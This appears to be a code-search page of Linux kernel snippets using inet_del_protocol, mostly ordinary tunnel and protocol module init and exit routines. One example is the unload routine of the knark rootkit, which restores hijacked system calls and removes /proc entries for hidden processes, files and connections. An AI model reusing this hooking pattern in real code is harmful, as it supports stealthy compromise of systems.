Esempio n. 1
0
static int __init tunnel4_init(void)
{
	if (inet_add_protocol(&tunnel4_protocol, IPPROTO_IPIP))
		goto err;
#if IS_ENABLED(CONFIG_IPV6)
	if (inet_add_protocol(&tunnel64_protocol, IPPROTO_IPV6)) {
		inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP);
		goto err;
	}
#endif
#if IS_ENABLED(CONFIG_MPLS)
	if (inet_add_protocol(&tunnelmpls4_protocol, IPPROTO_MPLS)) {
		inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP);
#if IS_ENABLED(CONFIG_IPV6)
		inet_del_protocol(&tunnel64_protocol, IPPROTO_IPV6);
#endif
		goto err;
	}
#endif
	return 0;

err:
	pr_err("%s: can't add protocol\n", __func__);
	return -EAGAIN;
}
Esempio n. 2
0
static void __exit tunnel4_fini(void)
{
#if IS_ENABLED(CONFIG_IPV6)
	if (inet_del_protocol(&tunnel64_protocol, IPPROTO_IPV6))
		pr_err("tunnel64 close: can't remove protocol\n");
#endif
	if (inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP))
		pr_err("tunnel4 close: can't remove protocol\n");
}
Esempio n. 3
0
static void __exit tunnel4_fini(void)
{
#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
	if (inet_del_protocol(&tunnel64_protocol, IPPROTO_IPV6))
		printk(KERN_ERR "tunnel64 close: can't remove protocol\n");
#endif
	if (inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP))
		printk(KERN_ERR "tunnel4 close: can't remove protocol\n");
}
Esempio n. 4
0
static inline int
openswan_inet_del_protocol(struct inet_protocol *prot, unsigned protocol)
{
#ifdef IPSKB_XFRM_TUNNEL_SIZE
	inet_del_protocol(prot, protocol);
#else
	inet_del_protocol(prot);
#endif
	return 0;
}
Esempio n. 5
0
static inline int
openswan_inet_del_protocol(struct inet_protocol *prot, unsigned protocol)
{
#ifdef NETDEV_25
	return inet_del_protocol(prot, protocol);
#else
	inet_del_protocol(prot);
	return 0;
#endif
}
Esempio n. 6
0
static void __exit ipip_fini(void)
{
#ifdef CONFIG_NET_IPIP_IPV6
	if ( inet_del_protocol(&ipip6_protocol) < 0 )
		printk(KERN_INFO "ipip close: can't remove ipv6 protocol\n");
#endif
	if ( inet_del_protocol(&ipip_protocol) < 0 )
		printk(KERN_INFO "ipip close: can't remove protocol\n");

	unregister_netdev(&ipip_fb_tunnel_dev);
}
static void __exit ipcomp4_fini(void)
{
	if (inet_del_protocol(&ipcomp4_protocol, IPPROTO_COMP) < 0)
		pr_info("%s: can't remove protocol\n", __func__);
	if (xfrm_unregister_type(&ipcomp_type, AF_INET) < 0)
		pr_info("%s: can't remove xfrm type\n", __func__);
}
Esempio n. 8
0
static void __exit ipip_fini(void)
{
	if ( inet_del_protocol(&ipip_protocol) < 0 )
		printk(KERN_INFO "ipip close: can't remove protocol\n");

	unregister_netdev(&ipip_fb_tunnel_dev);
}
Esempio n. 9
0
void cleanup_module(void)
{
	if ( inet_del_protocol(&ipip_protocol) < 0 )
		printk(KERN_INFO "ipip close: can't remove protocol\n");

	unregister_netdevice(&ipip_fb_tunnel_dev);
}
Esempio n. 10
0
static int __init rbping_init(void)
{
 
  if( strlen(magicstr) > MAX_LEN_BUF ) {

    printk("rbping_init: error: magicstr too long (%d bytes string permitted)", MAX_LEN_BUF);
    return -1;
  }  
	
  strncpy(_magicstr,magicstr,MAX_LEN_BUF); 

  rbping_proc_entry = create_proc_entry( LKM_NAME, 0644, NULL );
  if( !rbping_proc_entry ){  
    
    remove_proc_entry( LKM_NAME, NULL);
    printk("rbping_init: cannot create /proc entry.");
    return -ENOMEM;
  }
  rbping_proc_entry->read_proc = rbping_proc_read;
  rbping_proc_entry->write_proc = rbping_proc_write;
  
  if ( inet_add_protocol( &new_protocol, 163 ) < 0 ){        
    
    printk("rbping_init: Cannot add ICMP protocol\n");  
    if( inet_del_protocol( &new_protocol, 163 ) < 0 )
      printk("rbping_init: Cannot delete ICMP protocol\n");  
    return -1;
    
  }

  printk("%s-%s: Module loaded\n",LKM_NAME, LKM_VERSION);
  return 0;
  
};
Esempio n. 11
0
File: ipv4.c Progetto: panyfx/ath
static int __init dccp_v4_init(void)
{
	int err = proto_register(&dccp_v4_prot, 1);

	if (err != 0)
		goto out;

	err = inet_add_protocol(&dccp_v4_protocol, IPPROTO_DCCP);
	if (err != 0)
		goto out_proto_unregister;

	inet_register_protosw(&dccp_v4_protosw);

	err = register_pernet_subsys(&dccp_v4_ops);
	if (err)
		goto out_destroy_ctl_sock;
out:
	return err;
out_destroy_ctl_sock:
	inet_unregister_protosw(&dccp_v4_protosw);
	inet_del_protocol(&dccp_v4_protocol, IPPROTO_DCCP);
out_proto_unregister:
	proto_unregister(&dccp_v4_prot);
	goto out;
}
Esempio n. 12
0
static void __exit ipip_fini(void)
{
	if (inet_del_protocol(&ipip_protocol, IPPROTO_IPIP) < 0)
		printk(KERN_INFO "ipip close: can't remove protocol\n");
	if (xfrm_unregister_type(&ipip_type, AF_INET) < 0)
		printk(KERN_INFO "ipip close: can't remove xfrm type\n");
}
static void __exit ah4_fini(void)
{
	if (inet_del_protocol(&ah4_protocol, IPPROTO_AH) < 0)
		printk(KERN_INFO "ip ah close: can't remove protocol\n");
	if (xfrm_unregister_type(&ah_type, AF_INET) < 0)
		printk(KERN_INFO "ip ah close: can't remove xfrm type\n");
}
Esempio n. 14
0
File: ipv4.c Progetto: panyfx/ath
static void __exit dccp_v4_exit(void)
{
	unregister_pernet_subsys(&dccp_v4_ops);
	inet_unregister_protosw(&dccp_v4_protosw);
	inet_del_protocol(&dccp_v4_protocol, IPPROTO_DCCP);
	proto_unregister(&dccp_v4_prot);
}
Esempio n. 15
0
int __init sit_init(void)
{
	int err;

	printk(KERN_INFO "IPv6 over IPv4 tunneling driver\n");

	if (inet_add_protocol(&sit_protocol, IPPROTO_IPV6) < 0) {
		printk(KERN_INFO "sit init: Can't add protocol\n");
		return -EAGAIN;
	}

	ipip6_fb_tunnel_dev = alloc_netdev(sizeof(struct ip_tunnel), "sit0", 
					   ipip6_tunnel_setup);
	if (!ipip6_fb_tunnel_dev) {
		err = -ENOMEM;
		goto err1;
	}

	ipip6_fb_tunnel_dev->init = ipip6_fb_tunnel_init;

	if ((err =  register_netdev(ipip6_fb_tunnel_dev)))
		goto err2;

 out:
	return err;
 err2:
	free_netdev(ipip6_fb_tunnel_dev);
 err1:
	inet_del_protocol(&sit_protocol, IPPROTO_IPV6);
	goto out;
}
static int __init gre_init(void)
{
	pr_info("GRE over IPv4 demultiplexor driver\n");

	if (inet_add_protocol(&net_gre_protocol, IPPROTO_GRE) < 0) {
		pr_err("can't add protocol\n");
		goto err;
	}

	if (gre_add_protocol(&ipgre_protocol, GREPROTO_CISCO) < 0) {
		pr_info("%s: can't add ipgre handler\n", __func__);
		goto err_gre;
	}

	if (gre_offload_init()) {
		pr_err("can't add protocol offload\n");
		goto err_gso;
	}

	return 0;
err_gso:
	gre_del_protocol(&ipgre_protocol, GREPROTO_CISCO);
err_gre:
	inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
err:
	return -EAGAIN;
}
static void __exit gre_exit(void)
{
	gre_offload_exit();

	gre_del_protocol(&ipgre_protocol, GREPROTO_CISCO);
	inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
}
Esempio n. 18
0
static void __exit rbping_cleanup(void)
{
        
    inet_del_protocol( &new_protocol, 163 );
    remove_proc_entry( LKM_NAME, NULL );
    printk("%s-%s: Module unloaded\n", LKM_NAME, LKM_VERSION);
    
};
Esempio n. 19
0
static void gre_exit(void)
{
	if (!inited)
		return;

	inited = false;

	inet_del_protocol(&gre_protocol_handlers, IPPROTO_GRE);
}
Esempio n. 20
0
void __exit sit_cleanup(void)
{
	inet_del_protocol(&sit_protocol, IPPROTO_IPV6);

	rtnl_lock();
	sit_destroy_tunnels();
	unregister_netdevice(ipip6_fb_tunnel_dev);
	rtnl_unlock();
}
Esempio n. 21
0
static void __exit mptp_exit(void)
{
	inet_unregister_protosw(&mptp_protosw);

	inet_del_protocol(&mptp_protocol, IPPROTO_MPTP);

	proto_unregister(&mptp_prot);

	log_debug("MPTP exited\n");
}
Esempio n. 22
0
static int gre_compat_exit(void)
{
	int ret;

	ret = gre_del_protocol(&ipgre_protocol, GREPROTO_CISCO);
	if (ret)
		return ret;

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37)
	ret = inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
	if (ret)
		return ret;
#endif
	return 0;
}
Esempio n. 23
0
static int __init tunnel4_init(void)
{
	if (inet_add_protocol(&tunnel4_protocol, IPPROTO_IPIP)) {
		printk(KERN_ERR "tunnel4 init: can't add protocol\n");
		return -EAGAIN;
	}
#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
	if (inet_add_protocol(&tunnel64_protocol, IPPROTO_IPV6)) {
		printk(KERN_ERR "tunnel64 init: can't add protocol\n");
		inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP);
		return -EAGAIN;
	}
#endif
	return 0;
}
Esempio n. 24
0
static int __init tunnel4_init(void)
{
	if (inet_add_protocol(&tunnel4_protocol, IPPROTO_IPIP)) {
		pr_err("%s: can't add protocol\n", __func__);
		return -EAGAIN;
	}
#if IS_ENABLED(CONFIG_IPV6)
	if (inet_add_protocol(&tunnel64_protocol, IPPROTO_IPV6)) {
		pr_err("tunnel64 init: can't add protocol\n");
		inet_del_protocol(&tunnel4_protocol, IPPROTO_IPIP);
		return -EAGAIN;
	}
#endif
	return 0;
}
Esempio n. 25
0
static int __init gre_init(void)
{
	pr_info("GRE over IPv4 demultiplexor driver\n");

	if (inet_add_protocol(&net_gre_protocol, IPPROTO_GRE) < 0) {
		pr_err("can't add protocol\n");
		return -EAGAIN;
	}

	if (inet_add_offload(&gre_offload, IPPROTO_GRE)) {
		pr_err("can't add protocol offload\n");
		inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
		return -EAGAIN;
	}

	return 0;
}
Esempio n. 26
0
static int gre_compat_init(void)
{
	int err;

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37)
	if (inet_add_protocol(&net_gre_protocol, IPPROTO_GRE) < 0) {
		pr_err("%s: cannot register gre protocol handler\n", __func__);
		return -EAGAIN;
	}
#endif
	err = gre_add_protocol(&ipgre_protocol, GREPROTO_CISCO);
	if (err) {
		pr_warn("%s: cannot register gre_cisco protocol handler\n", __func__);

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37)
		inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
#endif
	}

	return err;
}
Esempio n. 27
0
void cleanup_module(void)
{
    int i, n;

    inet_add_protocol(original_udp_protocol);
    inet_del_protocol(&knark_udp_protocol);

    remove_proc_entry("author", knark_dir);
    remove_proc_entry("redirects", knark_dir);
    remove_proc_entry("nethides", knark_dir);
    remove_proc_entry("pids", knark_dir);
    remove_proc_entry("files", knark_dir);
#ifdef FUCKY_REXEC_VERIFY
    remove_proc_entry("verify_rexec", knark_dir);
#endif
    remove_proc_entry(MODULE_NAME, &proc_root);    

    sys_call_table[SYS_getdents] = original_getdents;
    sys_call_table[SYS_getdents64] = original_getdents64;
    sys_call_table[SYS_kill] = original_kill;
    sys_call_table[SYS_read] = original_read;
    sys_call_table[SYS_ioctl] = original_ioctl;
    sys_call_table[SYS_fork] = original_fork;
    sys_call_table[SYS_clone] = original_clone;
    sys_call_table[SYS_settimeofday] = original_settimeofday;
    sys_call_table[SYS_execve] = original_execve;
    
    knark_clear_redirects();
    kfree(knark_redirect_list);
    knark_clear_nethides();
    kfree(knark_nethide_list);
    for(i = 0; i < kfs->f_ndevs; i++){
      kfree(kfs->f_dev[i]);
      for(n = 0; kfs->f_dev[i]->d_name; n++)
	kfree(kfs->f_dev[i]->d_name);
    }

    kfree(kfs);
}
Esempio n. 28
0
int xfrm4_protocol_deregister(struct xfrm4_protocol *handler,
			      unsigned char protocol)
{
	struct xfrm4_protocol __rcu **pprev;
	struct xfrm4_protocol *t;
	int ret = -ENOENT;

	if (!proto_handlers(protocol) || !netproto(protocol))
		return -EINVAL;

	mutex_lock(&xfrm4_protocol_mutex);

	for (pprev = proto_handlers(protocol);
	     (t = rcu_dereference_protected(*pprev,
			lockdep_is_held(&xfrm4_protocol_mutex))) != NULL;
	     pprev = &t->next) {
		if (t == handler) {
			*pprev = handler->next;
			ret = 0;
			break;
		}
	}

	if (!rcu_dereference_protected(*proto_handlers(protocol),
				       lockdep_is_held(&xfrm4_protocol_mutex))) {
		if (inet_del_protocol(netproto(protocol), protocol) < 0) {
			pr_err("%s: can't remove protocol\n", __func__);
			ret = -EAGAIN;
		}
	}

	mutex_unlock(&xfrm4_protocol_mutex);

	synchronize_net();

	return ret;
}
Esempio n. 29
0
void sit_cleanup(void)
{
    inet_del_protocol(&sit_protocol, IPPROTO_IPV6);
    unregister_netdev(&ipip6_fb_tunnel_dev);
}
Esempio n. 30
0
static void __exit gre_exit(void)
{
	inet_del_protocol(&net_gre_protocol, IPPROTO_GRE);
}